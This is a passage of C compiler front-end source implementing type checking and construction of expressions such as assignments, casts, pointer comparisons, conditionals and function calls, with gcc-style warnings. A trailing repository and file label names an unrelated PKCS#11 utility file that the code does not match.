error("invalid use of non-lvalue array"); return error_type; } assert(!e->cst); e->cst = e->static_address; /* It's being used as a pointer, so is not an lvalue */ e->lvalue = FALSE; return make_pointer_type(type_array_of(from)); } return from; } type default_conversion_for_assignment(expression e) { if (type_array(e->type) || type_function(e->type)) return default_conversion(e); else return e->type; } static void readonly_warning(expression e, char *context) { char buf[80]; strcpy(buf, context); if (is_field_ref(e)) { field_ref field = CAST(field_ref, e); if (type_readonly(field->arg1->type)) readonly_warning(field->arg1, context); else { strcat(buf, " of read-only member `%s'"); pedwarn(buf, field->cstring.data); } } else if (is_identifier(e)) { strcat(buf, " of read-only variable `%s'"); pedwarn(buf, CAST(identifier, e)->cstring.data); } else pedwarn ("%s of read-only location", buf); } static bool check_writable_lvalue(expression e, char *context) { if (!e->lvalue || type_array(e->type)) { error("invalid lvalue in %s", context); return FALSE; } if (type_readonly(e->type)) readonly_warning(e, context); return TRUE; } bool check_conversion(type to, type from) { if (type_equal_unqualified(to, from)) return TRUE; if (to == error_type || from == error_type) return FALSE; if (type_void(from)) { error("void value not ignored as it ought to be"); return FALSE; } if (type_void(to)) return TRUE; if (type_integer(to)) { if (!type_scalar(from)) { error("aggregate value used where an integer was expected"); return FALSE; } } else if (type_pointer(to)) { if (!(type_integer(from) || type_pointer(from))) { error("cannot convert to a pointer type"); return FALSE; } } else if (type_floating(to)) { if (type_pointer(from)) { error("pointer value used where a floating point value was expected"); return FALSE; } else if (!type_arithmetic(from)) { error("aggregate value used where a float was expected"); return FALSE; } } else if (type_complex(to)) { if (type_pointer(from)) { error("pointer value used where a complex was expected"); return FALSE; } else if (!type_arithmetic(from)) { error("aggregate value used where a complex was expected"); return FALSE; } } else { error("conversion to non-scalar type requested"); return FALSE; } return TRUE; } static bool assignable_pointer_targets(type tt1, type tt2, bool pedantic) { return type_void(tt1) || type_void(tt2) || compatible_pointer_targets(tt1, tt2, pedantic); } static void ptrconversion_warnings(type ttl, type ttr, expression rhs, const char *context, const char *funname, int parmnum, bool pedantic) { if (pedantic && ((type_void(ttl) && type_function(ttr)) || (type_function(ttl) && type_void(ttr) && !(rhs && definite_null(rhs))))) warn_for_assignment("ANSI forbids %s between function pointer and `void *'", context, funname, parmnum); /* Const and volatile mean something different for function types, so the usual warnings are not appropriate. */ else if (type_function(ttl) && type_function(ttr)) { /* Because const and volatile on functions are restrictions that say the function will not do certain things, it is okay to use a const or volatile function where an ordinary one is wanted, but not vice-versa. */ if (type_const(ttl) && !type_const(ttr)) warn_for_assignment("%s makes `const *' function pointer from non-const", context, funname, parmnum); if (type_volatile(ttl) && !type_volatile(ttr)) warn_for_assignment("%s makes `volatile *' function pointer from non-volatile", context, funname, parmnum); } else if (!type_function(ttl) && !type_function(ttr)) { if (!type_const(ttl) && type_const(ttr)) warn_for_assignment("%s discards `const' from pointer target type", context, funname, parmnum); if (!type_volatile(ttl) && type_volatile(ttr)) warn_for_assignment("%s discards `volatile' from pointer target type", context, funname, parmnum); /* If this is not a case of ignoring a mismatch in signedness, no warning. */ if (!assignable_pointer_targets(ttl, ttr, FALSE) && pedantic) warn_for_assignment("pointer targets in %s differ in signedness", context, funname, parmnum); } } /* Return TRUE if no error and lhstype and rhstype are not error_type */ bool check_assignment(type lhstype, type rhstype, expression rhs, const char *context, data_declaration fundecl, const char *funname, int parmnum) { bool zerorhs = rhs && definite_zero(rhs); if (lhstype == error_type || rhstype == error_type) return FALSE; if (type_void(rhstype)) { error("void value not ignored as it ought to be"); return FALSE; } if (type_equal_unqualified(lhstype, rhstype)) return TRUE; if (type_arithmetic(lhstype) && type_arithmetic(rhstype)) { if (rhs) constant_overflow_warning(rhs->cst); return check_conversion(lhstype, rhstype); } if (parmnum && (type_qualifiers(lhstype) & transparent_qualifier)) { /* See if we can match any field of lhstype */ tag_declaration tag = type_tag(lhstype); field_declaration fields, marginal_field = NULL; /* I blame gcc for this horrible mess (and it's minor inconsistencies with the regular rules) */ /* pedantic warnings are skipped in here because we're already issuing a warning for the use of this construct */ for (fields = tag->fieldlist; fields; fields = fields->next) { type ft = fields->type; if (type_compatible(ft, rhstype)) break; if (!type_pointer(ft)) continue; if (type_pointer(rhstype)) { type ttl = type_points_to(ft), ttr = type_points_to(rhstype); bool goodmatch = assignable_pointer_targets(ttl, ttr, FALSE); /* Any non-function converts to a [const][volatile] void * and vice versa; otherwise, targets must be the same. Meanwhile, the lhs target must have all the qualifiers of the rhs. */ if (goodmatch) { /* If this type won't generate any warnings, use it. */ if ((type_function(ttr) && type_function(ttl)) ? (((!type_const(ttl)) | type_const(ttr)) & ((!type_volatile(ttl)) | type_volatile(ttr))) : (((type_const(ttl)) | (!type_const(ttr))) & (type_volatile(ttl) | (!type_volatile(ttr))))) break; /* Keep looking for a better type, but remember this one. */ if (!marginal_field) marginal_field = fields; } } /* Can convert integer zero to any pointer type. */ /* Note that this allows passing *any* null pointer (gcc bug?) */ if (zerorhs) break; } if (fields || marginal_field) { if (!fields) { /* We have only a marginally acceptable member type; it needs a warning. */ type ttl = type_points_to(marginal_field->type), ttr = type_points_to(rhstype); ptrconversion_warnings(ttl, ttr, rhs, context, funname, parmnum, FALSE); } if (pedantic && !(fundecl && fundecl->in_system_header)) pedwarn("ANSI C prohibits argument conversion to union type"); return TRUE; } } if (type_pointer(lhstype) && type_pointer(rhstype)) { type ttl = type_points_to(lhstype), ttr = type_points_to(rhstype); bool goodmatch = assignable_pointer_targets(ttl, ttr, pedantic); /* Any non-function converts to a [const][volatile] void * and vice versa; otherwise, targets must be the same. Meanwhile, the lhs target must have all the qualifiers of the rhs. */ if (goodmatch || (type_equal_unqualified(make_unsigned_type(ttl), make_unsigned_type(ttr)))) ptrconversion_warnings(ttl, ttr, rhs, context, funname, parmnum, pedantic); else warn_for_assignment("%s from incompatible pointer type", context, funname, parmnum); return check_conversion(lhstype, rhstype); } /* enum = ptr and ptr = enum counts as an error, so use type_integral */ else if (type_pointer(lhstype) && type_integral(rhstype)) { if (!zerorhs) warn_for_assignment("%s makes pointer from integer without a cast", context, funname, parmnum); return check_conversion(lhstype, rhstype); } else if (type_integral(lhstype) && type_pointer(rhstype)) { warn_for_assignment("%s makes integer from pointer without a cast", context, funname, parmnum); return check_conversion(lhstype, rhstype); } if (!context) if (funname) error("incompatible type for argument %d of `%s'", parmnum, funname); else error("incompatible type for argument %d of indirect function call", parmnum); else error("incompatible types in %s", context); return FALSE; } expression make_error_expr(location loc) { expression result = CAST(expression, new_error_expr(parse_region, loc)); result->type = error_type; return result; } expression make_comma(location loc, expression elist) { expression result = CAST(expression, new_comma(parse_region, loc, elist)); expression e; scan_expression (e, elist) if (e->next) /* Not last */ { #if 0 if (!e->side_effects) { /* The left-hand operand of a comma expression is like an expression statement: with -W or -Wunused, we should warn if it doesn't have any side-effects, unless it was explicitly cast to (void). */ if ((extra_warnings || warn_unused) && !(TREE_CODE (TREE_VALUE (list)) == CONVERT_EXPR && TREE_TYPE (TREE_VALUE (list)) == void_type_node)) warning ("left-hand operand of comma expression has no effect"); } else if (warn_unused) warn_if_unused_value(e); #endif } else { if (type_array(e->type)) result->type = default_conversion(e); else result->type = e->type; if (!pedantic) { /* XXX: I seemed to believe that , could be a constant expr in GCC, but cst3.c seems to disagree. Check gcc code again ? (It's a bad idea anyway) */ result->lvalue = e->lvalue; result->isregister = e->isregister; result->bitfield = e->bitfield; } } return result; } static void check_dereference(expression result, type dereferenced, const char *errorstring) { if (type_pointer(dereferenced)) { type t = type_points_to(dereferenced); result->type = t; #if 0 if (TYPE_SIZE (t) == 0 && TREE_CODE (t) != ARRAY_TYPE) { error ("dereferencing pointer to incomplete type"); return error_mark_node; } #endif if (type_void(t) && unevaluated_expression == 0) warning("dereferencing `void *' pointer"); result->side_effects |= type_volatile(t) || flag_volatile; } else { result->type = error_type; if (dereferenced != error_type) error("invalid type argument of `%s'", errorstring); } result->lvalue = TRUE; } expression make_dereference(location loc, expression e) { expression result = CAST(expression, new_dereference(parse_region, loc, e)); result->side_effects = e->side_effects; check_dereference(result, default_conversion(e), "unary *"); result->static_address = e->cst; return result; } expression make_extension_expr(location loc, expression e) { expression result = CAST(expression, new_extension_expr(parse_region, loc, e)); result->type = e->type; result->lvalue = e->lvalue; result->side_effects = e->side_effects; result->cst = e->cst; result->bitfield = e->bitfield; result->isregister = e->isregister; result->static_address = e->static_address; return result; } expression make_address_of(location loc, expression e) { expression result = CAST(expression, new_address_of(parse_region, loc, e)); result->type = error_type; if (e->type == error_type) ; else if (e->bitfield) error("attempt to take address of a bit-field structure member"); else { if (e->isregister) pedwarn("address of a register variable requested"); if (!(type_function(e->type) || e->lvalue)) error("invalid lvalue in unary `&'"); result->type = make_pointer_type(e->type); result->cst = e->static_address; } return result; } expression make_unary(location loc, int unop, expression e) { switch (unop) { case kind_address_of: return make_address_of(loc, e); case kind_preincrement: return make_preincrement(loc, e); case kind_predecrement: return make_predecrement(loc, e); default: { expression result = CAST(expression, newkind_unary(parse_region, unop, loc, e)); type etype = default_conversion(e); const char *errstring = NULL; if (etype == error_type) result->type = error_type; else { switch (unop) { case kind_unary_plus: if (!type_arithmetic(etype)) errstring = "wrong type argument to unary plus"; break; case kind_unary_minus: if (!type_arithmetic(etype)) errstring = "wrong type argument to unary minus"; break; case kind_bitnot: if (type_complex(etype)) result->kind = kind_conjugate; else if (!type_integer(etype)) errstring = "wrong type argument to bit-complement"; break; case kind_not: if (!type_scalar(etype)) errstring = "wrong type argument to unary exclamation mark"; else etype = int_type; break; case kind_realpart: case kind_imagpart: if (!type_arithmetic(etype)) if (unop == kind_realpart) errstring = "wrong type argument to __real__"; else errstring = "wrong type argument to __imag__"; else etype = type_complex(etype) ? make_base_type(etype) : etype; default: assert(0); } if (errstring) { error(errstring); result->type = error_type; } else { result->type = etype; result->cst = fold_unary(result); } } return result; } } } expression make_label_address(location loc, id_label label) { expression result = CAST(expression, new_label_address(parse_region, loc, label)); use_label(label); result->type = ptr_void_type; result->cst = fold_label_address(result); if (pedantic) pedwarn("ANSI C forbids `&&'"); return result; } void check_sizeof(expression result, type stype) { if (type_function(stype)) { if (pedantic || warn_pointer_arith) pedwarn("sizeof applied to a function type"); } else if (type_void(stype)) { if (pedantic || warn_pointer_arith) pedwarn("sizeof applied to a void type"); } else if (type_incomplete(stype)) error("sizeof applied to an incomplete type"); result->type = size_t_type; result->cst = fold_sizeof(result, stype); } expression make_sizeof_expr(location loc, expression e) { expression result = CAST(expression, new_sizeof_expr(parse_region, loc, e)); check_sizeof(result, e->type); return result; } expression make_sizeof_type(location loc, asttype t) { expression result = CAST(expression, new_sizeof_type(parse_region, loc, t)); check_sizeof(result, t->type); return result; } expression make_alignof_expr(location loc, expression e) { expression result = CAST(expression, new_alignof_expr(parse_region, loc, e)); result->type = size_t_type; result->cst = fold_alignof(result, e->type); return result; } expression make_alignof_type(location loc, asttype t) { expression result = CAST(expression, new_alignof_type(parse_region, loc, t)); result->type = size_t_type; result->cst = fold_alignof(result, t->type); return result; } expression make_cast(location loc, asttype t, expression e) { expression result = CAST(expression, new_cast(parse_region, loc, e, t)); type castto = t->type; if (castto == error_type || type_void(castto)) ; /* Do nothing */ else if (type_array(castto)) { error("cast specifies array type"); castto = error_type; } else if (type_function(castto)) { error("cast specifies function type"); castto = error_type; } else if (type_equal_unqualified(castto, e->type)) { if (pedantic && type_aggregate(castto)) pedwarn("ANSI C forbids casting nonscalar to the same type"); } else { type etype = e->type; /* Convert functions and arrays to pointers, but don't convert any other types. */ if (type_function(etype) || type_array(etype)) etype = default_conversion(e); if (type_union(castto)) { tag_declaration utag = type_tag(castto); field_declaration ufield; /* Look for etype as a field of the union */ for (ufield = utag->fieldlist; ufield; ufield = ufield->next) if (ufield->name && type_equal_unqualified(ufield->type, etype)) { if (pedantic) pedwarn("ANSI C forbids casts to union type"); break; } if (!ufield) error("cast to union type from type not present in union"); } else { /* Optionally warn about potentially worrisome casts. */ if (warn_cast_qual && type_pointer(etype) && type_pointer(castto)) { type ep = type_points_to(etype), cp = type_points_to(castto); if (type_volatile(ep) && !type_volatile(cp)) pedwarn("cast discards `volatile' from pointer target type"); if (type_const(ep) && !type_const(cp)) pedwarn("cast discards `const' from pointer target type"); } /* This warning is weird */ if (warn_bad_function_cast && is_function_call(e) && !type_equal_unqualified(castto, etype)) warning ("cast does not match function type"); #if 0 /* Warn about possible alignment problems. */ if (STRICT_ALIGNMENT && warn_cast_align && TREE_CODE (type) == POINTER_TYPE && TREE_CODE (otype) == POINTER_TYPE && TREE_CODE (TREE_TYPE (otype)) != VOID_TYPE && TREE_CODE (TREE_TYPE (otype)) != FUNCTION_TYPE /* Don't warn about opaque types, where the actual alignment restriction is unknown. */ && !((TREE_CODE (TREE_TYPE (otype)) == UNION_TYPE || TREE_CODE (TREE_TYPE (otype)) == RECORD_TYPE) && TYPE_MODE (TREE_TYPE (otype)) == VOIDmode) && TYPE_ALIGN (TREE_TYPE (type)) > TYPE_ALIGN (TREE_TYPE (otype))) warning ("cast increases required alignment of target type"); if (TREE_CODE (type) == INTEGER_TYPE && TREE_CODE (otype) == POINTER_TYPE && TYPE_PRECISION (type) != TYPE_PRECISION (otype) && !TREE_CONSTANT (value)) warning ("cast from pointer to integer of different size"); if (TREE_CODE (type) == POINTER_TYPE && TREE_CODE (otype) == INTEGER_TYPE && TYPE_PRECISION (type) != TYPE_PRECISION (otype) #if 0 /* Don't warn about converting 0 to pointer, provided the 0 was explicit--not cast or made by folding. */ && !(TREE_CODE (value) == INTEGER_CST && integer_zerop (value)) #endif /* Don't warn about converting any constant. */ && !TREE_CONSTANT (value)) warning ("cast to pointer from integer of different size"); #endif check_conversion(castto, etype); } } result->lvalue = !pedantic && e->lvalue; result->isregister = e->isregister; result->bitfield = e->bitfield; result->static_address = e->static_address; result->type = castto; result->cst = fold_cast(result); return result; } type pointer_int_sum(type ptype, type itype) { type pointed = type_points_to(ptype); if (type_void(pointed)) { if (pedantic || warn_pointer_arith) pedwarn("pointer of type `void *' used in arithmetic"); } else if (type_function(pointed)) { if (pedantic || warn_pointer_arith) pedwarn("pointer to a function used in arithmetic"); } else if (type_incomplete(pointed)) error("arithmetic on pointer to an incomplete type"); return ptype; } bool valid_compare(type t1, type t2, expression e1) { if (type_void(type_points_to(t1))) { if (pedantic && type_function(type_points_to(t2)) && !definite_null(e1)) pedwarn("ANSI C forbids comparison of `void *' with function pointer"); return TRUE; } return FALSE; } type check_binary(int binop, expression e1, expression e2) { type t1 = default_conversion(e1), t2 = default_conversion(e2); type rtype = NULL; bool common = FALSE; /* XXX: Misc warnings (see build_binary_op) */ if (t1 == error_type || t2 == error_type) rtype = error_type; else switch(binop) { case kind_plus: if (type_pointer(t1) && type_integer(t2)) rtype = pointer_int_sum(t1, t2); else if (type_pointer(t2) && type_integer(t1)) rtype = pointer_int_sum(t2, t1); else common = TRUE; break; case kind_minus: if (type_pointer(t1) && type_integer(t2)) rtype = pointer_int_sum(t1, t2); else if (type_pointer(t1) && type_pointer(t2) && compatible_pointer_types(t1, t2)) rtype = ptrdiff_t_type; else common = TRUE; break; case kind_plus_assign: case kind_minus_assign: if (type_pointer(t1) && type_integer(t2)) rtype = pointer_int_sum(t1, t2); else common = TRUE; break; case kind_times: case kind_divide: case kind_times_assign: case kind_divide_assign: common = TRUE; break; case kind_modulo: case kind_bitand: case kind_bitor: case kind_bitxor: case kind_lshift: case kind_rshift: case kind_modulo_assign: case kind_bitand_assign: case kind_bitor_assign: case kind_bitxor_assign: case kind_lshift_assign: case kind_rshift_assign: if (type_integer(t1) && type_integer(t2)) rtype = common_type(t1, t2); break; case kind_leq: case kind_geq: case kind_lt: case kind_gt: rtype = int_type; /* Default to assuming success */ if (type_real(t1) && type_real(t2)) ; else if (type_pointer(t1) && type_pointer(t2)) { if (compatible_pointer_types(t1, t2)) { /* XXX: how can this happen ? */ if (type_incomplete(t1) != type_incomplete(t2)) pedwarn("comparison of complete and incomplete pointers"); else if (pedantic && type_function(type_points_to(t1))) pedwarn("ANSI C forbids ordered comparisons of pointers to functions"); } else pedwarn("comparison of distinct pointer types lacks a cast"); } /* XXX: Use of definite_zero may lead to extra warnings when !extra_warnings */ else if ((type_pointer(t1) && definite_zero(e2)) || (type_pointer(t2) && definite_zero(e1))) { if (pedantic || extra_warnings) pedwarn("ordered comparison of pointer with integer zero"); } else if ((type_pointer(t1) && type_integer(t2)) || (type_pointer(t2) && type_integer(t1))) { if (!flag_traditional) pedwarn("comparison between pointer and integer"); } else rtype = NULL; /* Force error */ break; case kind_eq: case kind_ne: rtype = int_type; /* Default to assuming success */ if (type_arithmetic(t1) && type_arithmetic(t2)) ; else if (type_pointer(t1) && type_pointer(t2)) { if (!compatible_pointer_types(t1, t2) && !valid_compare(t1, t2, e1) && !valid_compare(t2, t1, e2)) pedwarn("comparison of distinct pointer types lacks a cast"); } else if ((type_pointer(t1) && definite_null(e2)) || (type_pointer(t2) && definite_null(e1))) ; else if ((type_pointer(t1) && type_integer(t2)) || (type_pointer(t2) && type_integer(t1))) { if (!flag_traditional) pedwarn("comparison between pointer and integer"); } else rtype = NULL; /* Force error */ break; case kind_andand: case kind_oror: if (type_scalar(t1) && type_scalar(t2)) rtype = int_type; break; default: assert(0); break; } if (common && type_arithmetic(t1) && type_arithmetic(t2)) rtype = common_type(t1, t2); if (!rtype) { error("invalid operands to binary %s", binary_op_name(binop)); rtype = error_type; } return rtype; } expression make_binary(location loc, int binop, expression e1, expression e2) { expression result = CAST(expression, newkind_binary(parse_region, binop, loc, e1, e2)); result->type = check_binary(binop, e1, e2); if (result->type != error_type) { result->cst = fold_binary(result->type, result); } /* XXX: The warn_parentheses stuff (and a <= b <= c) */ #if 0 unsigned_conversion_warning (result, arg1); unsigned_conversion_warning (result, arg2); overflow_warning (result); #endif return result; } static bool voidstar_conditional(type t1, type t2) { if (type_void(t1)) { if (pedantic && type_function(t2)) pedwarn("ANSI C forbids conditional expr between `void *' and function pointer"); return TRUE; } return FALSE; } static bool pointerint_conditional(type t1, type t2, expression e2) { if (type_pointer(t1) && type_integer(t2)) { if (!definite_zero(e2)) pedwarn("pointer/integer type mismatch in conditional expression"); return TRUE; } return FALSE; } expression make_conditional(location loc, expression cond, expression true, expression false) { expression result = CAST(expression, new_conditional(parse_region, loc, cond, true, false)); type ctype, ttype, ftype, rtype = NULL; bool truelvalue = true ? true->lvalue : FALSE; ctype = default_conversion(cond); if (!true) { true = cond; truelvalue = FALSE; /* Not an lvalue in gcc ! */ } if (type_void(true->type)) ttype = true->type; else ttype = default_conversion(true); if (type_void(false->type)) ftype = false->type; else ftype = default_conversion(false); if (ctype == error_type || ttype == error_type || ftype == error_type) rtype = error_type; else if (type_equal(ttype, ftype)) rtype = ttype; else if (type_equal_unqualified(ttype, ftype)) rtype = make_qualified_type(ttype, no_qualifiers); else if (type_real(ttype) && type_real(ftype)) /* This should probably be type_arithmetic. See complex3.c/C9X */ rtype = common_type(ttype, ftype); else if (type_void(ttype) || type_void(ftype)) { if (pedantic && (!type_void(ttype) || !type_void(ftype))) pedwarn("ANSI C forbids conditional expr with only one void side"); rtype = void_type; } else if (type_pointer(ttype) && type_pointer(ftype)) { type tpointsto = type_points_to(ttype), fpointsto = type_points_to(ftype); if (compatible_pointer_types(ttype, ftype)) rtype = common_type(tpointsto, fpointsto); else if (definite_null(true) && type_void(tpointsto)) rtype = fpointsto; else if (definite_null(false) && type_void(fpointsto)) rtype = tpointsto; else if (voidstar_conditional(tpointsto, fpointsto)) rtype = tpointsto; /* void * result */ else if (voidstar_conditional(fpointsto, tpointsto)) rtype = fpointsto; /* void * result */ else { pedwarn("pointer type mismatch in conditional expression"); /* Slight difference from GCC: I qualify the result type with the appropriate qualifiers */ rtype = void_type; } /* Qualifiers depend on both types */ rtype = make_pointer_type(qualify_type2(rtype, tpointsto, fpointsto)); } else if (pointerint_conditional(ttype, ftype, false)) rtype = ttype; else if (pointerint_conditional(ftype, ttype, true)) rtype = ftype; else if (flag_cond_mismatch) rtype = void_type; else { error("type mismatch in conditional expression"); rtype = error_type; } /* Qualifiers depend on both types */ if (rtype != error_type) rtype = qualify_type2(rtype, ttype, ftype); result->type = rtype; result->lvalue = !pedantic && truelvalue && false->lvalue; result->isregister = true->isregister || false->isregister; result->bitfield = true->bitfield || false->bitfield; result->cst = fold_conditional(result); return result; } expression make_assign(location loc, int binop, expression e1, expression e2) { expression result = CAST(expression, newkind_binary(parse_region, binop, loc, e1, e2)); type t1 = require_complete_type(e1, e1->type), t2; result->type = error_type; if (t1 != error_type && e2->type != error_type) { expression rhs; if (binop == kind_assign) { t2 = default_conversion_for_assignment(e2); rhs = e2; } else { t2 = check_binary(binop, e1, e2); rhs = NULL; } if (check_writable_lvalue(e1, "assignment") && check_assignment(e1->type, t2, rhs, "assignment", NULL, NULL, 0)) result->type = make_qualified_type(e1->type, no_qualifiers); } return result; } expression make_identifier(location loc, cstring id, bool maybe_implicit) { /* XXX: Should pass decl as argument (lexer looked it up already) */ data_declaration decl = lookup_id(id.data, FALSE); identifier result = new_identifier(parse_region, loc, id, NULL); if (decl && decl->islimbo) /* Limbo declarations don't really exist */ decl = NULL; if (!decl && maybe_implicit) /* An implicit function declaration */ decl = implicitly_declare(result); if (!decl) { if (!current_function_decl) error("`%s' undeclared here (not in a function)", id.data); else if (!env_lookup(current_function_decl->undeclared_variables, id.data, FALSE)) { static bool undeclared_variable_notice; error("`%s' undeclared (first use in this function)", id.data); env_add(current_function_decl->undeclared_variables, id.data, (void *)1); if (!undeclared_variable_notice) { error("(Each undeclared identifier is reported only once"); error("for each function it appears in.)"); undeclared_variable_notice = TRUE; } } decl = bad_decl; } /* XXX: check for register variables of containing function */ result->type = decl->type; result->lvalue = decl->kind == decl_variable || decl->kind == decl_magic_string; result->cst = fold_identifier(CAST(expression, result), decl); result->isregister = decl->kind == decl_variable && decl->vtype == variable_register; result->static_address = foldaddress_identifier(CAST(expression, result), decl); result->ddecl = decl; decl->isused = TRUE; return CAST(expression, result); } expression make_compound_expr(location loc, statement block) { if (is_error_stmt(block)) return make_error_expr(loc); else { expression result = CAST(expression, new_compound_expr(parse_region, loc, block)); compound_stmt bs = CAST(compound_stmt, block); statement last_stmt = CAST(statement, last_node(CAST(node, bs->stmts))); if (last_stmt && is_expression_stmt(last_stmt)) result->type = CAST(expression_stmt, last_stmt)->arg1->type; else result->type = void_type; return result; } } static void check_arguments(type fntype, expression arglist, data_declaration fundecl, const char *name) { typelist_scanner parmtypes; int parmnum = 1; type parmtype; /* XXX: pseudo-protos for old style arglists */ if (!type_function_oldstyle(fntype)) { typelist_scan(type_function_arguments(fntype), &parmtypes); while ((parmtype = typelist_next(&parmtypes)) && arglist) { type argtype = arglist->type; if (type_incomplete(parmtype)) error("type of formal parameter %d is incomplete", parmnum); else { if (warn_conversion) { if (type_integer(parmtype) && type_floating(argtype)) warn_for_assignment("%s as integer rather than floating due to prototype", NULL, name, parmnum); else if (type_floating(parmtype) && type_integer(argtype)) warn_for_assignment ("%s as floating rather than integer due to prototype", NULL, name, parmnum); else if (type_complex(parmtype) && type_floating(argtype)) warn_for_assignment ("%s as complex rather than floating due to prototype", NULL, name, parmnum); else if (type_floating(parmtype) && type_complex(argtype)) warn_for_assignment ("%s as floating rather than complex due to prototype", NULL, name, parmnum); /* Warn if any argument is passed as `float', since without a prototype it would be `double'. */ else if (type_float(parmtype) && type_floating(argtype)) warn_for_assignment ("%s as `float' rather than `double' due to prototype", NULL, name, parmnum); #if 0 else { /* Type that would have been passed w/o proto */ type type1 = default_conversion(arglist); /* No warning if function asks for enum and the actual arg is that enum type. */ if (type_enum(parmtype) && type_equal_unqualified(parmtype, argtype)) ; /* XXX: else messy stuff that cannot easily be done w/o constant folding and type size info */ } #endif } check_assignment(parmtype, default_conversion_for_assignment(arglist), arglist, NULL, fundecl, name, parmnum); } parmnum++; arglist = CAST(expression, arglist->next); } if (parmtype) { if (name) error("too few arguments to function `%s'", name); else error("too few arguments to function"); } else if (arglist && !type_function_varargs(fntype)) { if (name) error("too many arguments to function `%s'", name); else error("too many arguments to function"); } } /* Checks for arguments with no corresponding argument type */ while (arglist) { require_complete_type(arglist, default_conversion(arglist)); arglist = CAST(expression, arglist->next); } } expression make_function_call(location loc, expression fn, expression arglist) { expression result = CAST(expression, new_function_call(parse_region, loc, fn, arglist, NULL)); type fntype = default_conversion(fn), rettype; result->type = error_type; if (fntype == error_type) ; else if (!(type_pointer(fntype) && type_function(type_points_to(fntype)))) error("called object is not a function"); else { char *funname = NULL; data_declaration fundecl = NULL; if (is_identifier(fn)) { identifier fnid = CAST(identifier, fn); if (fnid->ddecl->kind == decl_function) { funname = fnid->cstring.data; fundecl = fnid->ddecl; } } fntype = type_points_to(fntype); check_arguments(fntype, arglist, fundecl, funname); rettype = type_function_return_type(fntype); result->type = rettype; if (!type_void(rettype)) result->type = require_complete_type(result, rettype); /* if (type_deletes(fntype) && (!current_function_decl || !type_deletes(current_function_decl->ddecl->type))) error("unsafe call to a function that may delete a region"); */ /* result = rc_check_function_call(CAST(function_call, result));*/ } return result; } expression make_va_arg(location loc, expression arg, asttype type) { expression va_arg_id = build_identifier(parse_region, loc, builtin_va_arg_decl); expression result = CAST(expression, new_function_call(parse_region, loc, va_arg_id, arg, type)); if (!type_equal_unqualified(arg->type, builtin_va_list_type)) error("first argument to `va_arg' not of type `va_list'"); if (!type_self_promoting(type->type)) { static bool gave_help; error("char, short and float are automatically promoted when passed through `...'"); if (!gave_help) { gave_help = TRUE; error("(so you should pass `int', `unsigned' or `double' to `va_arg')"); } } result->type = type->type; return result; } expression make_array_ref(location loc, expression array, expression index) { expression result = CAST(expression, new_array_ref(parse_region, loc, array, index)); type atype, itype = default_conversion(index); if (warn_char_subscripts && type_char(index->type)) warning("subscript has type `char'"); if (type_array(array->type) && !array->lvalue) { /* Some special GCC extensions */ /* XXX: Ignoring the weird register stuff, going for a simple version which seems essentially identical for our purposes */ if (pedantic) pedwarn("ANSI C forbids subscripting non-lvalue array"); atype = make_pointer_type(type_array_of(array->type)); /* this should not be possible (non-lvalue arrays come from array fields of non-lvalue struct expressions) */ assert(!array->static_address); } else atype = default_conversion(array); /* Put the integer in ITYPE to simplify error checking. */ if (type_integer(atype)) { type temp = atype; atype = itype; itype = temp; } if (!type_pointer(atype) || type_function(type_points_to(atype))) { error("subscripted value is neither array nor pointer"); result->type = error_type; result->lvalue = TRUE; } else { check_dereference(result, atype, "array indexing"); result->static_address = fold_binary(atype, result); } if (!type_integer(itype)) error("array subscript is not an integer"); return result; } expression make_field_ref(location loc, expression object, cstring field) { type otype = object->type; expression result = CAST(expression, new_field_ref(parse_region, loc, object, field)); result->type = error_type; if (type_aggregate(otype)) { tag_declaration tag = type_tag(otype); if (!tag->defined) incomplete_type_error(NULL, otype); else { field_declaration fdecl = env_lookup(tag->fields, field.data, FALSE); if (!fdecl) error(type_struct(otype) ? "structure has no member named `%s'" : "union has no member named `%s'", field.data); else { result->type = qualify_type2(fdecl->type, fdecl->type, object->type); result->bitfield = fdecl->bitwidth >= 0; result->static_address = foldaddress_field_ref(object->static_address, fdecl); } } } else if (otype != error_type) error("request for member `%s' in something not a structure or union", field.data); result->lvalue = object->lvalue; return result; } static expression increment(unary result, char *name) { expression e = result->arg1; type etype = e->type; result->type = error_type; if (!type_scalar(etype)) error("wrong type argument to %s", name); else { if (type_incomplete(etype)) error("%s of pointer to unknown structure or union", name); else if (type_pointer(etype) && (pedantic || warn_pointer_arith) && (type_void(type_points_to(etype)) || type_function(type_points_to(etype)))) pedwarn("wrong type argument to %s", name); if (check_writable_lvalue(e, name)) result->type = etype; } return CAST(expression, result); } expression make_postincrement(location loc, expression e) { return increment(CAST(unary, new_postincrement(parse_region, loc, e)), "increment"); } expression make_preincrement(location loc, expression e) { return increment(CAST(unary, new_preincrement(parse_region, loc, e)), "increment"); } expression make_postdecrement(location loc, expression e) { return increment(CAST(unary, new_postdecrement(parse_region, loc, e)), "decrement"); } expression make_predecrement(location loc, expression e) { return increment(CAST(unary, new_predecrement(parse_region, loc, e)), "decrement"); } static size_t extract_strings(expression string_components, wchar_t *into, bool *wide) { size_t total_length = 0; expression astring; *wide = FALSE; scan_expression (astring, string_components) { const wchar_t *chars; size_t length; if (!type_equal(type_array_of(astring->type), char_type)) *wide = TRUE; if (is_identifier(astring)) { data_declaration dd = CAST(identifier, astring)->ddecl; chars = dd->chars; length = dd->chars_length; } else { string_cst s = CAST(string_cst, astring); chars = s->chars; length = s->length; } if (into) { memcpy(into, chars, length * sizeof(wchar_t)); into += length; } total_length += length; } return total_length; } string make_string(location loc, expression string_components) { string s = new_string(parse_region, loc, string_components, NULL); size_t total_length = 0; bool wide; total_length = extract_strings(string_components, NULL, &wide); s->ddecl = declare_string(NULL, wide, total_length); s->type = s->ddecl->type; extract_strings(string_components, (wchar_t *)s->ddecl->chars, &wide); s->static_address = foldaddress_string(s); s->lvalue = TRUE; return s; }
ying-css/optiga-trust-m
examples/utilities/pkcs11_trustm.c
